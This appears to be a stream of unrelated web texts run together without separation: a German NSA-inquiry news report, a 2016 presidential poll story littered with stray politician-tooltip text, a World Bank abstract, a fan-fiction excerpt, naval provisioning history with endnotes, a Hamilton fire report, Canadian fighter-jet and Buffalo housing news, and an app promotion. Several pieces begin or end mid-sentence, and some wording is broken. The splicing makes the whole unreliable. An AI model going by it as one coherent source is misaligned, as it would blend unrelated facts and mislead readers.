conclusions. For example, one such passage read: "The committee is of the opinion that despite all the difference concerning NSA spying in the past there is relatively large agreement about the rigor and establishment of intelligence service oversight by the parliaments in Germany and the US." Opposition parties would like more oversight of the BND's actions The opposition Left Party and Greens see the situation entirely differently. In a section that was included in the official report, the two parties make a series of extremely critical recommendations, including subjecting German intelligence services to increased external and parliamentary oversight, strengthening IT security and ending what they call "a secret war in, from and with Germany." "Germany and facilities located in Germany are not permitted to play any role in drone warfare that violates international law," the opposition parties wrote. "The German government must immediately and forcefully insist that all actions of this sort cease and must monitor it." "Unprecedented, unparliamentary behavior" The opposition also criticizes the fact that Snowden, who currently lives in asylum in Russia, was never able to testify in front of the committee because the German government refused to guarantee him safe conduct. In a TV interview on Wednesday morning ahead of the Bundestag debate, Green parliamentarian Konstantin von Notz called Snowden's absence "a damning indictment." The Left Party and the Greens say they are evaluating whether to legally challenge what Notz called the governing coalition's "unprecedented un-parliamentary behavior." The committee only succeeded in "scraping free" a part of the "surveillance infrastructure," Notz complained to the Tagesspiegel newspaper. Opposition committee members like Notz heavily criticized the findings Members of the governing parties disagree with that assessment and accuse the opposition of trying to create a scandal in an election year. "There are no indications that Germans were spied upon en masse," conservative committee chairman Sensburg that newspaper. The Social Democrats' lead figure on the committee, Christian Flisek, accused the opposition of a "complete refusal" to cooperate. But he also aimed a barb at conservatives and Merkel. "There was a system of the very top of the Chancellery of not wanting to know anything," Flisek told dpa news agency.A new poll finds Democratic presidential front-runner Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE losing to four top Republican presidential contenders, including Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE, in hypothetical general election matchups. Clinton trails Republican primary front-runner Trump by a 45-43 margin head-to-head, according to a USA Today/Suffolk University poll released Wednesday. ADVERTISEMENT Clinton also loses to Sen. Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE (R-Texas), 45-44, Sen. Marco Rubio Marco Antonio RubioWhite House pleads with Senate GOP on emergency declaration Sixteen years later, let's finally heed the call of the 9/11 Commission Schumer urges GOP to reject Trump's 'destructive' national emergency MORE (R-Fla.), 48-42 and Ohio Gov. John Kasich, 49-38. Her Democratic primary rival, Sen. Bernie Sanders Bernard (Bernie) SandersSenate Dems seek to turn tables on GOP in climate change fight Bernie Sanders Town Hall finishes third in cable news race, draws 1.4 million viewers Woman to undecided Biden: 'Just say yes' to 2020 bid MORE (I-Vt.), fares slightly better against the GOP competition, besting Cruz by a 44-42 margin. But Sanders still loses to Trump by 1 point, 44-43, Kasich by 3, 44-41, and Rubio by 4, 46-42, head-to-head. Many of the results are within the poll’s 3-point margin of error. “Bernie Sanders is closing the Democratic primary gap and is stronger than Hillary Clinton in the general election,” David Paleologos, director of the Suffolk University Political Research Center, said in a statement. Paleologos also highlighted Kasich’s strong showing in the general election match-ups, on the heels of his second-place finish in New Hampshire. “On the Republican side, John Kasich’s strong second-place showing has made him more appealing in the general election than Marco Rubio, who faltered in the Republican debate leading up to New Hampshire,” he said. The USA Today/Suffolk poll surveyed 1,000 voters by telephone from Feb. 11–15.Abstract Regenerating Urban Land draws on the experience of eight case studies from around the world. The case studies outline various policy and financial instruments to attract private sector investment in urban regeneration of underutilized and unutilized areas and the requisite infrastructure improvements. In particular, each case study details the project cycle, from the scoping phase and determination of the initial amount of public sector investment, to implementation and subsequent leveraged private-sector funds. This manual analyzes rates of return on the investments and long-term financial sustainability. Regenerating Urban Land guides local governments to systematically identify the sequence of steps and tasks needed to develop a regeneration policy framework, with the participation of the private sector. The manual also formulates specific policies and instruments for expanding private sector participation; structuring effective administrative and legal frameworks; utilizing land readjustment/assembly methods; determining duration of contracts, adequate phasing, and timeline; and balancing the distribution of risk and sustainability measures. Citation “Amirtahmasebi, Rana; Orloff, Mariana; Wahba, Sameh; Altman, Andrew. 2016. Regenerating Urban Land : A Practitioner's Guide to Leveraging Private Investment. Urban Development;. World Bank, Washington, DC. © World Bank. https://openknowledge.worldbank.org/handle/10986/24377 License: CC BY 3.0 IGO.” Collection(s) This item appears in the following Collection(s) Urban Development"So we're gonna do the Second Stage soon, right?" Ruby murmured from where she sat next to Blake. Pyrrha was on the other side of the brunette, the three of them catching up on some studying before their planned activity later. "Soon," Blake agreed quietly, not looking up from her book. "I want it to be special." "It will be, kitty cat," Pyrrha interjected warmly. "Well… I intend for it to be more special than usual." Blake frowned slightly at her uncharacteristically awkward verbiage. "Just be patient, please." "I can be patient," Ruby proclaimed loftily. Her words were met by several incredulous snickers, the loudest from across the room. "Hey! I can be, when I wanna be!" "Suuure you can, Rubes," her big sister chuckled indulgently. The brunette in question stuck her tongue out at her sister and partner before turning back towards her girlfriends. "Really, I'm not gonna rush you any, Blakey. Whenever you're ready." "Absolutely," Pyrrha agreed softly, the scratches from her pencil on paper unceasing. "Mmm." Blake had a smile tugging at the corners of her lips. "Thank you both." "So, can I ask a question?" Weiss spoke up hesitantly, setting her own textbook aside. Yang was the only one not taking advantage of the study time as, miraculously enough, she'd managed to catch up with everything
non-Navy raiders went ashore and robbed civilians or ransomed settlements for provisions. French raiders attacking Jamaica and Spanish Main in the 1690s often targeted cattle and “hattos,” meaning herds of cattle or cattle ranches.[75] The pirates or buccaneers who raided from the western coasts of the Americas in the 1680s and 1690s carried flour regularly in their ration. They supplemented the flour with any fish, fowls, pigs, goats, and cattle they encountered while raiding ashore. These men also drank chocolate when they encountered it in their raids on Spanish territory in Central America, whose populace drank it regularly.[76] Be it by raiding ships of common sea provisions or farmers ashore of livestock, mariners often found theft to be a convenient means to resupply themselves. Nature also offered sailors a means by which to obtain more food during their voyages, especially in the more remote parts of the world that featured few or no settlements. The sea offered crews a bounty of fish to catch. Navy ships and civilians vessels alike often allowed their men to supplement their diets by fishing. Their efforts resulted in catching and consuming a variety of ocean creatures, including sharks, dolphins, and manatees.[77] On remote islands in the middle of the large oceans that contained no inhabitants, sailors often found animals they caught and killed when allowed onshore. Anything that mariners could catch became fair game, be it birds, reptiles, or mammals. Some islands, such as Juan Fernandez island off the coast of Chile, featured goats the Spanish purposely left on the island so they could reproduce and offer future voyages an additional food source.[78] Maritime and travel accounts of the period mention crews obtaining goats regularly in remote lands and in well-populated regions of the world.[79] Regardless of what was available, if an island or remote coastline offered a viable source of provisions, especially animals, mariners regularly tried to exploit it for food. Of all the animals sailors ate in the Atlantic and Pacific, turtles receive the most coverage in period accounts of sea provisions not obtained from Europe or colonies in the northern half of America’s eastern seaboard. In Dampier’s account of his voyage around the world in the 1680s, there are five continuous pages dedicated to turtles.[80] Considering their value as a food source, Dampier’s in-depth of this coverage is understandable. Several accounts of ships travelling in the Pacific mention gathering turtles, particularly in the Galapagos Islands. Many men in the Caribbean made a living by gathering turtles to sell to both local residents and to ships. In 1684, when French Privateers attacked and prevented turtler sloops from bringing turtles to market, a local account estimated that 2,000 people in Jamaica alone ate turtles daily.[81] Dampier described three main types of turtle in the West Indies, the terapen, the hawksbill, and the green turtle. The green turtle was the type sailors consumed the most while in the Caribbean, and are the type turtler sloops often brought alive to markets in Jamaica where they penned in the sea with wooden stakes until purchased. They not only offered delicious flesh to eat, their fat produced large amounts of oil. Dampier described the green turtles as the best tasting in the Caribbean, and were, “larger than any other [turtle] in the North Seas. There they commonly will weigh 280 or 300 pound: Their Fat is Yellow, and the [flesh] Lean white, and their flesh extraordinary sweet.”[82] In the West Indies and South Pacific in particular, the turtle stood as a common staple of the maritime diet. To Be Continued… Postscript: Part 2 of this article will cover provisions from non-English maritime services, pirates and maritime food, cooking on ships, mealtime utensils and tableware, dishes served on ships, sailors eating in port, and comparisons to food of the greater lower class. ENDNOTES [1] Samuel Pepys, Samuel Pepys’s Naval Minutes, ed. J. R. Tanner ([London]: The Naval Records Society, 1926), 250. [2] Ibid. [3] A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library at Magdalene College, Cambridge, volume 1, ed. J. R. Tanner ([London]: The Naval Records Society, 1903), 165-167. [4] Regulations and Instructions Relating to His Majesty’s Service at Sea (London: 1731), 60. [5] Janet Macdonald, Feeding Nelson’s Navy: The True Story of Food at Sea in the Georgian Era (London: Chatham Publishing, 2004), 9-10. [6] “hardtack, n.”. OED (Oxford English Dictionary) Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/84194 (accessed November 14, 2015); “biscuit, n.”. OED Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/19429 (accessed November 15, 2015). [7] John Pavlik, “‘Consisting Merely of Flour and Water’: Reproducing the Eighteenth-Century English Biscuit,” Journal of the Early Americans 1, no. 11 (April/May 2011), 7; Samuel Jeake, A Compleat Body of Arithmetick, in Four Books (London: Tho. Newborough and John Nicholson, 1701), 74. This flour often included visible pieces wheat meal and bran. [8] John Ehrman, The Navy in the War of William III, 1689-1697 (1953, reprint, Cambridge: Cambridge University Press, 2011), 145. [9] César De Saussure, A Foreign View of England in the Reigns of George I. & George II. The Letters of Monsieur Cesar de Saussure to His Family ed. and trans. Madame Van Muyden (London: John Murray, 1902), 363-364; Pavlik, “‘Consisting Merely of Flour and Water’,” 9. [10] Ehrman, The Navy in the War of William III, 150; Jeake, A Compleat Body of Arithmetick, 74. These hundred-pound bags stood as a basic unit for their sale for ship’s biscuits. [11] Pavlik, “‘Consisting Merely of Flour and Water’,” 7-8; Jeake, A Compleat Body of Arithmetick, 74; Thomas Tryon, The Good Housewife Made Doctor, or Health’s Choice and Sure Friend, 2nd ed. (London: H.N. and T.S., 1692), 65. [12] Remarks on the Present Condition of the Navy, And Particularly of the Victualling (London: 1700), 18-19; Jeff Palvik, private correspondence, October 4, 2015. The substitute ingredients could be cheaper because of damage or poor quality, and fit for little else than being turned into a flour. Buying them, drying them out over ovens, and turning them into flour could be cheaper than obtaining wheat flour. [13] James Lightbody, The Mariners Jewel; or, A Pocket Companion for the Ingenious (London: Robert Whitledge, 1695), 133. [14] Benjamin Franklin, “On Board the Pennsylvania Packet, Captain Osborne, at Sea, 5 April, 1775,” in The Works of Benjamin Franklin, volume 11, ed. John Bigelow (New York: G. P. Putnam’s Sons, 1904), 124. [15] “biscuit, n.”. OED Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/19429 (accessed November 15, 2015); Pavlik, “‘Consisting Merely of Flour and Water’,” 9. [16] Edward Ward, The Wooden World Dissected (London: H. Meere, 1707), 104. [17] Nathaniel Boteler, Six Dialogues about Sea-Services. Between An High-Admiral and a Captain at Sea (London: Moses Pitt, 1685), 85. Calentures refers to a tropical disease sailors frequently suffered from and scarbot meant scurvy. [18] Megan E. Edwards, “Virginia Ham: The Local and Global of Colonial Foodways,” Food and Foodways 19 (2011): 67-68. [19] A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library, 166, 176; Regulations and Instructions (1731), 60-61. For why pork or bacon did not supplant beef, even though bacon was cheaper and resistant to spoilage, it still deteriorated more quickly than beef, especially in warm places such as a ship’s hold. This effect becomes worse when considering vessels in tropical environments such as the West Indies, Emily Cockayne, Hubbub: Filth, Noise & Stench in England 1600-1770 (New Haven, CT: Yale University Press, 2007), 95; Hoh cheung Mui and Lorna H. Mui, Shops and Shopkeeping in Eighteenth Century England (Kingston, ON, Canada: McGill-Queen’s University Press, 1989), 154. During this period, bacon did not represent the pork belly bacon that Americans associate with the term. In the seventeenth and eighteenth centuries, pork could mean any flesh from a pig, including bacon. When referred to by name during this period, bacon meant meat from the back and sides of the pig. “bacon, n.”OED Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/14496 (accessed November 15, 2015); “pork, n.1”. OED Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/147983 (accessed November 15, 2015); Macdonald, Feeding Nelson’s Navy, 19. [20] Regulations and Instructions (1731), 61; John Hollond, Two Discourses of the Navy, 1638 and 1659, ed. J. R. Tanner ([London]: The Navy Records Society, 1896), 178. [21] Janet Vorwald Dohner, The Encyclopedia of Historic and Endangered Livestock and Poultry Breeds (New Haven, CT: Yale University Press, 2001), 256-258; Pepys, Samuel Pepys’s Naval Minutes, 134; Hollond, Two Discourses of the Navy, 177. [22] Ehrman, The Navy in the War of William III, 145; Dohner, The Encyclopedia of Historic and Endangered Livestock and Poultry Breeds, 182-184, 249. [23] Ehrman, The Navy in the War of William III, 145. [24] Stephen Hales, Philosophical Experiments: Containing Useful, and Necessary Instructions for such as undertaking long Voyages at Sea (London: W. Innys, R. Manby, and T. Woodward, 1739), 89. The differences between white salt and bay salt according to the 1728 Cyclopaedia is that bay salt came from salt marshes and was not refined to a white color, but remained brown. White salt came from sand impregnated with salt water that salter makers placed in pits to collect the salt water. This salt came out of the pit already white in color. Salt makers then took the salt water from the pits and purified it by boiling. Most of this white salt came from Normandy in France. E. Chambers, Cyclopaedia: Or, an Universal Dictionary of Arts and Sciences (London: James and John Knapton, 1728) 2: s.v. “salt”. For the measure of salt described in this process, it is expressed in volume and not weight. At the time, the Navy often used the Winchester measurement for several materials featured in their rations. A gallon of either bay or white salt, as referenced by Hales’ account, refers to a dry measure the salt itself and not to the amount of brine used. It was common to see salt sold by dry measure in the Winchester measurement system during this period: Jeake, A Compleat Body of Arithmetick, 70. One hundred pounds of meat required about five gallons of water. This is based on the efforts of Charles Heath, who prepared a hundred pounds of salt pork based on a set of nineteenth-century instructions that practically mirrored the method described by Hales in the eighteenth century. Charles Heath, “Looks Worse than it Tastes,” Civil War Historian 3, no. 1 (January/February, 2007), 21-22, 27. [25] Ehrman, The Navy in the War of William III, 146; Macdonald, Feeding Nelson’s Navy, 33-34. [26] Henri Mission, M. Mission’s Memoirs and Observations in His Travels Over England, trans. Mr. Ozell (London: D. Brown, A. Bell, J. Darby, A. Bettesworth, J. Pemberton, C. Rivington, J. Hooke, R. Cruttenden, T. Cox, J. Batley, F. Clay, and E. Synom, 1719) 81; K. G. Davies, The North Atlantic World in the Seventeenth Century (Vol. 4. Minneapolis, MN: University of Minnesota, 1974), 158; Maureen Waller, 1700: Scenes from London Life (New York: Four Walls Eight Windows, 2000), 186. [27] Davies, The North Atlantic World in the Seventeenth Century, 161-162. [28] A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library, 166; “† haberdine, n.” OED (Oxford English Dictionary) Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/82964 (accessed November 07, 2015); “Poor John, n.” OED (Oxford English Dictionary) Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/147762 (accessed November 07, 2015); “stockfish \| stockfish, n.” OED (Oxford English Dictionary) Online. September 2015. Oxford University Press. http://www.oed.com/view/Entry/190618 (accessed November 07, 2015). [29] Lightbody, The Mariners Jewel 125; A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library, 167; Regulations and Instructions (1731), 61; William Cockburn, An account of the nature, causes, symptoms, and cure of the distempers that are incident to seafaring people with observations on the diet of the seamen in His Majesty’s navy (London: Hugh Newman, 1696), 5-6, 9-11, 24-25; Edward Barlow, Barlow’s Journal of His Life at Sea in King’s Ships, East & West Indiamen & Other Merchantmen from 1659 to 1703, ed. Basil Lubbock (London: Hurst & Blackett, LTD, 1934) 1: 60. [30] Macdonald, Feeding Nelson’s Navy, 38. [31] Ehrman, The Navy in the War of William III, 146. [32] Ibid.; Macdonald, Feeding Nelson’s Navy, 30-31. [33] Ehrman, The Navy in the War of William III, 145; Macdonald, Feeding Nelson’s Navy, 30-32. [34] Macdonald, Feeding Nelson’s Navy, 30, Ehrman, The Navy in the War of William III, 145. [35] Ibid., 40; David Hancock, Oceans of Wine: Madeira and the Emergence of American Trade and Taste (New Haven: Yale University Press, 2009), 85. [36] Saussure, A Foreign View of England in the Reigns of George I. & George II, 363. [37] Barnaby Slush, The Navy Royal: Or a Sea-Cook Turn’d Projector (London: B. Bragge, 1709), 71-72. [38] Ehrman, The Navy in the War of William III, 146; A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library, 166. A quarter measure is a measure of volume in the Winchester measure system. There are eight quarters in a bushel and 64 quarters in a gallon, Jeake, A Compleat Body of Arithmetick, 70. [39] The Report of the Committee Appointed to Enquire into the Frauds and Abuses Committed in the Victualling Her Majesty’s Navy (London: Samuel Keble and Henry Clements, 1710[-11]). [40] Regulations and Instructions (1731), 63. [41] Great Britain House of Commons, The Journal of the House of Commons: From December the 3d 1697,… to October the 24th 1699,…,” vol. 12 ([London]: Reprinted by Order of the House of Commons, 1803), 397. [42] Ibid.; A Descriptive Catalogue of the Naval Manuscripts in the Pepysian Library, 169. [43] Slush, The Navy Royal, 72. [44] Regulations and Instructions (1731), 62. [45] Cockburn, An account of the nature, causes, symptoms, and cure of the distempers that are incident to seafaring people, 5; Saussure, A Foreign View of England in the Reigns of George I. & George II, 364. [46] Hancock, Oceans of Wine, 85, 91, 302, 308-309, 333; Macdonald, Feeding Nelson’s Navy, 41-42. Starting around the middle of the eighteenth century, Madeira wine became more expensive and a status drink for the upper class. [47] “Considerations offered by the Agents for Jamaica and merchants trading thereto, to the Council of Trade and Plantations, October 16, 1696,” Calendar of State Papers, Colonial Series, (from now on abbreviated CSPCS) 15 May, 1696 – 31 October, 1697, item 324. [48] Frederick H. Smith, Caribbean Rum: A Social and Economic History (Gainesville, FL: University Press of Florida, 2005),53-54, 28-33; Macdonald, Feeding Nelson’s Navy, 42-43. [49] Ibid.; William B. Jensen, “Ask the Historian: The Origin of Alcohol Proof,” Journal of Chemical Education 81, no. 9 (Sept. 2004), 1258. The earliest account yet to be found where rum and water is referred to as grog comes from an, “Account of the late Action fought between Admiral Knowles, and the Spanish Admiral; taken from the Jamaica Gazette, Kingston in Jamaica,” Whitehall Evening Post or London Intelligencer, January 31, 1749 – February 2, 1749. Considering the date of the newspaper and its origin in a Jamaica newspaper, this reference goes back to 1748. Even earlier references likely reside either in the Admiralty records within the UK National Archives or in the Jamaica National Archives. [50] Carla Rahn Phillips, Six Galleons for the King of Spain: Imperial Defense in the Early Seventeenth Century (Baltimore: Johns Hopkins University Press, 1986), 167, 169. [51] N. A. M. Rodger, The Command of the Ocean: A Naval History of Britain, 1649-1815 (New York: W.W. Norton, 2005), 133. [52] Regulations and Instructions Relating to His Majesty’s Service at Sea, Ninth Edition (London: 1757), 202-203. [53] William Salmond, Botanologia: The English Herbal: or, History of Plants (London: H. Rhodes and J. Taylor, 1710), 480; Macdonald, Feeding Nelson’s Navy, 36-38. [54] Daniel Vickers and Vince Walsh, Young Men and the Sea: Yankee Seafarers in the Age of Sail (New Haven: Yale University Press, 2005), 90-91; Robert Gardiner and Ph. M. Bosscher, The Heyday of Sail: The Merchant Sailing Ship, 1650-1830 (London: Conway Maritime, 1995), 27-28; Peter Earle, Sailors: English Merchant Seamen, 1650-1775 (London: Methuen, 1998), 7-8; Remarks on the Present Condition of the Navy, And Particularly of the Victualling (London: 1700), 21-22. [55] Barlow, Barlow’s Journal, 2: 508; Jonathan Dickenson, God’s Protecting Providence, Man’s Shurest Help and Defence, in Times of the Greatest Difficulty, and most Eminent Danger (Reprint. London: T. Sowie, 1700), 4. [56] Vickers and Walsh, Young Men and the Sea, 91; Josselyn, John. An Account of Two Voyages to New England. London: Giles Widdows, 1674), 211-212; John Fontaine, The Journal of John Fontaine, An Irish Huguenot Son in Spain and Virginia, 1710-1719, ed. Edward Porter Alexander (Williamsburg, VA: Colonial Williamsburg Foundation, 1972), 68-69. The practice of selling supplies to sailors at sea is also covered in the article “A Sailor’s Possessions.” [57] Nigel Tattersfield, The Forgotten Trade: Comprising the Log of the Daniel and Henry of 1700 and Accounts of the Slave Trade from the Minor Ports of England, 1698-1725 (London: Jonathan Cape, 1991), 120-121, 142; T. Aubrey, The Sea-Surgeon, or the Guinea Man’s Vade Mecum (London: John Clarke, 1729), 126-130; John Barbot, “A Description of the Coasts of North and South-Guinea,” in A Collection of Voyages and Travels (London: Messr. Churchill, 1732), 546-547; Corey Malcom, “The Copper Cauldrons aboard the Henrietta Marie,” The Navigator: Newsletter of The Mel Fisher Maritime Heritage Society 15, no. 2 (February, 2000). [58] Nathaniel Boteler, Six Dialogues about Sea-Services. Between An High-Admiral and a Captain at Sea (London: Moses Pitt, 1685), 72-76; Cockburn, An account of the nature, causes, symptoms, and cure of the distempers that are incident to seafaring people, 5-6; Barlow, Barlow’s Journal of His Life at Sea, 1: 159-162, 2:425-426. [59] J. D. Alsop and K. R. Dick, “The Origin of Public Tendering for Royal Navy Provisions, 1699-1720,” Mariner’s Mirror 80, 4 (November, 1994), 395. [60] The Darien papers: Being a Selection of Original Letters and Official Documents Relating to the Establishment of a Colony at Darien by the Company of Scotland Trading to Africa and the Indies, 1695-1700 (Edinburgh: Thomas Constable, 1849), 324. [61] Ibid., 327-328. [62] Ibid., 330. [63] Henry Pitman, A Relation of the Great Sufferings and Strange Adventures of Henry Pitman, Chyrurgion to the late Duke of Monmouth (London: Andrew Sowle, 1689), 35. [64] Captain Thomas Jacobs to Josiah Burchett, Diamond in the Madera Road, August 26, 1717, ADM 1/1982, TNA. Sir Robert Robinson of the HMS Assistance in 1681 presented similar complaints while serving in the Mediterranean. His complaint stated, “The beef looked very bad before it went into the furnace, but when it came out, ’twas almost as blakc as coal and shrunk to nothing. The pork tasted so fishy that the men could not eat it. The peas boiled almost as hard as shot, and would by no means break. The oatmeal was so sour that many times it could not be eaten. The beverage wine so bad that men choose rather to drink water. And in general the provisions was so bad that several of the men chose rather to eat dry bread alone almost to the starving of themselves, than eat the other victuals.” ADM 1/3551, fo. 79 as quoted in J. D. Davies, Pepys’s Navy: Ships, Men & Warfare, 1649-1689 (Barnsley, UK: Seaforth Publishing, 2008), 202. [65] Christian Buchet, “The Royal Navy and the Caribbean, 1689-1763,” Mariner’s Mirror 80, 1 (1994), 37-38. [66] Ibid.; “Considerations offered by the Agents for Jamaica …October 16, 1696,” CSPCS, 15 May, 1696 – 31 October, 1697, item 324; Regulations and Instructions (1731), 67. [67] Considerations offered by the Agents for Jamaica …October 16, 1696,” CSPCS, 15 May, 1696 – 31 October, 1697, item 324. A “plaintain,” or plantain, refers to a type of banana picked before ripening and cooked in a similar manner to vegetables. They are not the same type of bananas many in western society are familiar with, which are usually yellow and eaten raw. “plantain, n.3”. OED Online. December 2015. Oxford University Press. http://www.oed.com/view/Entry/145164 (accessed December 16, 2016). [68] William Dampier, A Voyage to New Holland, &c. In the Year, 1699 (London: James Knapton, 1703), 3: 31. [69] George Shelvocke, A Voyage Round the World By the Way of the Great South Sea (London: J. Senex, W. Innys, J. Innys, J. Osborn, and T. Longman, 1726), 18, 51-52. [70] Ibid., 52; “cassava, n”. OED Online. December 2015. Oxford University Press. http://www.oed.com/view/Entry/28479 (accessed December 16, 2016); Hans Sloane, A Voyage to the Islands of Madera, Barbados, Nieves, S. Christophers, and Jamaica (London: B.M., 1707), 1: xviii-xix; Samuel Clarke, A True and Faithful Account of the Four Chiefest Plantations of the English in America (London: Robert Clavel, Thomas Passenger, William Cadman, William Whitwood, Thomas Sawbridge, and William Birch, 1670), 61-62; John Taylor, Jamaica in 1687: the Taylor manuscript at the National Library of Jamaica, ed. David Buisseret (Kingston, Jamaica, University of the West Indies Press, 2008), 217-218. [71] “Governor Rogers to the Council of Trade and Plantations, Nassau on Providence, May 29, 1719,” CSPCS 1719-1720, item 209; Captain Candler to Josiah Burchet, 12 May, 1717, ADM 1/1597, TNA. [72] William Funnell, A Voyage Round the World. Containing an Account of Captain Dampier’s Expedition Into the South-Seas in the Ship St George, In the Years 1703 and 1704 (London: James Knapton, 1707), 226. [73] Shelvocke, A Voyage Round the World, 371, 381. [74] Regulations and Instructions (1731), 67. [75] Interesting Tracts, Relating to the Island of Jamaica (St. Jago de la Vega, Jamaica: Lewis, Lunam, and Jones, 1800), 255-256; Raveneau de. Lussan, Raveneau de Lussan: Buccaneers of the Spanish Main and early French filibuster of the Pacific, trans. and ed. Marguerite Eyer Wilbur (Cleveland, OH: Arthur H. Clark Company, 1930), 147, 192, 240. [76] William Dampier, A New Voyage Round the World, 2nd Ed. (London: James Knapton, 1697), 1-2, 176; Basil Ringrose, Bucaniers of America, Second Volume. (London: William Crooke, 1685), 4, 98-100. [77] Rodger, The Command of the Ocean, 133; The Darien papers, 348, 366; Dampier, A New Voyage Round the World, 1-2, 249, 302; John Atkins, A Voyage to Guinea, Brasil, and the West-Indies; In His Majesty’s Ships, the Swallow and Weymouth (London: Caesar Ward and Richard Chandler, 1735), 42-43; Fontaine, The Journal of John Fontaine, 76, 79-80. [78] Funnell, A Voyage Round the World, 20; Edward Cooke, A Voyage to the South Sea, and Round the World, Peform’d in the Years 1708, 1709, 1710, and 1711 (London: B. Linton, R. Gosling, A. Bettesworth, and W. Innys, 1712), 36-37. [79] Mark C. Kehoe, “Goats in Sailor’s Diets During the Golden Age of Piracy,” The Pirate Surgeon’s Journal, accessed January 16, 2016, http://www.piratesurgeon.com/pages/surgeon_pages/goats_in_diet1.html. This article contains many endnotes containing references to primary sources during this period regarding goats and sea voyages. This author also wrote on the frequency of pigs and pork at sea, “Pigs as Food During the Golden Age of Piracy,” The Pirate Surgeon’s Journal, accessed January 16, 2016, http://www.piratesurgeon.com/pages/surgeon_pages/pork1.html. [80] Dampier, A New Voyage Round the World, 101-106. [81] “Colonel Hender Molesworth to William Blathwayt, November 15, 1684, Jamaica,” CSPCS, 1681-1685, item 1938. [82] Dampier, A New Voyage Round the World, 105.Their mom, Shirley Stewart, was shaken up, but beaming over her sons' quick selfless thinking. "I'm so proud of my sons... so very proud." Police officers and firefighters at the scene also commended their bravery. The brothers said they were told they were the "heroes of the hour." Fire department spokesperson Claudio Mostacci said arriving crews encountered a well-involved house fire which had extended into the attic. The two-and-a-half storey brick home at 156 Sanford Avenue South is between Delaware Avenue and Rutherford Avenue, south of Main Street East. Mostacci said crews entered the home, but were forced to withdraw due to the structural instability of the roof. Shortly after fire crews withdrew from the house, a portion of the roof collapsed. Huge plumes of black smoke poured from the house as firefighters poured water on the blaze. Mostacci said fire crews then launched a "defensive attack" on the blaze to protect the homes on either side. "Firefighters were able to affect a successful knockdown and extinguishment of the fire with no fire spread to neighbouring homes," he said. Damage has been estimated at about $500,000. Mostacci said due to the extensive damage and a partial collapse of the house, the cause remains undetermined. The Ontario Fire Marshal has been contacted to assist Hamilton firefighters in their investigation. Homes on either side of the Sanford South home were evacuated during the height of the fire for precautionary reasons. mhayes@thespec.com 905-526-3214 \| @MollyatTheSpec dnolan@thespec.com 905-526-3351 \| @dandundasVICTORIA, British Columbia — The Canadian government wants to acquire the Super Hornet to fill its fighter-jet capability gap on an interim basis, a move that would also take the pressure off the country's prime minister on the thorny political issue of the F-35. Liberal Party Prime Minister Justin Trudeau had promised during last year’s election campaign his government would never buy the F-35 joint strike fighter, but that plane is still favored by Canada’s air force. Any decision to exclude the F-35 from a competition to acquire new jets could also spark a messy legal battle. But the proposed deal to buy Super Hornets on an interim basis would push off any fighter competition well into the late 2020s, allowing Trudeau to keep his election promise while dealing with the issue of replacing the country's aging fleet of CF-18 jets. The National Post newspaper reported Monday that the Canadian government was intent on proceeding with the Super Hornet purchase but that a final decision still had to be made. Canadian Defence Minister Harjit Sajjan said last week in Ottawa that Canada will soon be looking at a capability gap due to the aging CF-18 fleet. "Today, we are risk-managing a gap between our NORAD and NATO commitments and the number of fighters available for operations," he told industry representatives at the CANSEC defense trade show in Ottawa. "In the 2020s, we can foresee a growing capability gap, and this I find unacceptable and it's one thing that we plan to fix." Boeing and Lockheed Martin have yet to respond with a comment on the proposed deal. But industry sources confirm Boeing recently presented its plan to the Canadian government for the purchase of Super Hornets on an "interim basis" and received an enthusiastic response. The previous Conservative Party government had committed to purchasing 65 F-35s, but officials put that plan temporarily on hold amid accusations that the Canadian military had tried to hide the full cost of the procurement.Western New York’s housing market set new records for sales and prices last year – a major accomplishment that nevertheless should come as no surprise to the buyers and sellers who lived it every day as they fought aggressively over deals and haggled over rising prices. For all of last year, the number of completed home sales in the eight-county area soared 15.8 percent from the prior year, hitting 12,478, according to new data from the Buffalo Niagara Association of Realtors. That's the highest level so far this century, easily blowing away the previous record set in 2007. The combination of heavy demand and fewer options also led to an uptick in prices. The average sales price for the year was up 0.8 percent to $152,480, while the median was up 1.6 percent to $128,479. Both are new highs for a full year. The year started off with a new high level for January 2016, leaping 56 percent from a year earlier. The pace continued all year, capped off with 1,051 deals in December – a record high for December going back at least 16 years and the seventh-straight month of more than 1,000 sales. Pending sales in December dipped by 2.5 percent, to 620, which is still the second-largest number since at least 2000. But the number of transactions that were in process at any point during the year still increased 9.7 percent over the prior year's previous record, coming in at 12,595. New listings fell 5.1 percent for the year, to 17,224. New listings in December dropped 14 percent to 713. The total inventory of available homes for sale plunged 32.7 percent, hitting its lowest mark – 3,253 houses – for any month of the year since at least 1999. BNAR reports "arms-length" transactions involving its Realtor members in the eight-county region, plus a handful of sales in Monroe and Livingston counties.New Technology To Stop Income And Economic Inequality The Economic Inequality Rating App (EIRA) will create dramatic economic and political changes by stopping inequality worldwide. It is the most powerful technological idea to stop income inequality and economic inequality as the most existential threats to our lives. To Watch Our Video About The Economic Inequality Rating App (EIRA) First Rate Crowd is developing an Economic Inequality Rating App (EIRA). This Rating App will provide clear guidelines as to which products, services, individuals, or organizations are beneficially aligned with the 99%-Crowd. It is an easy and convenient way to selectively boycott the wealthy elite of the 1%-Crowd while simultaneously bringing the revenue they would normally receive back to the 99%. This is accomplished without manipulating any laws, voting anyone into office, or changing any taxes. It is the most powerful technological idea to stop income and economic inequality. to learn more about the EIRA and its associated technology. Some Of The 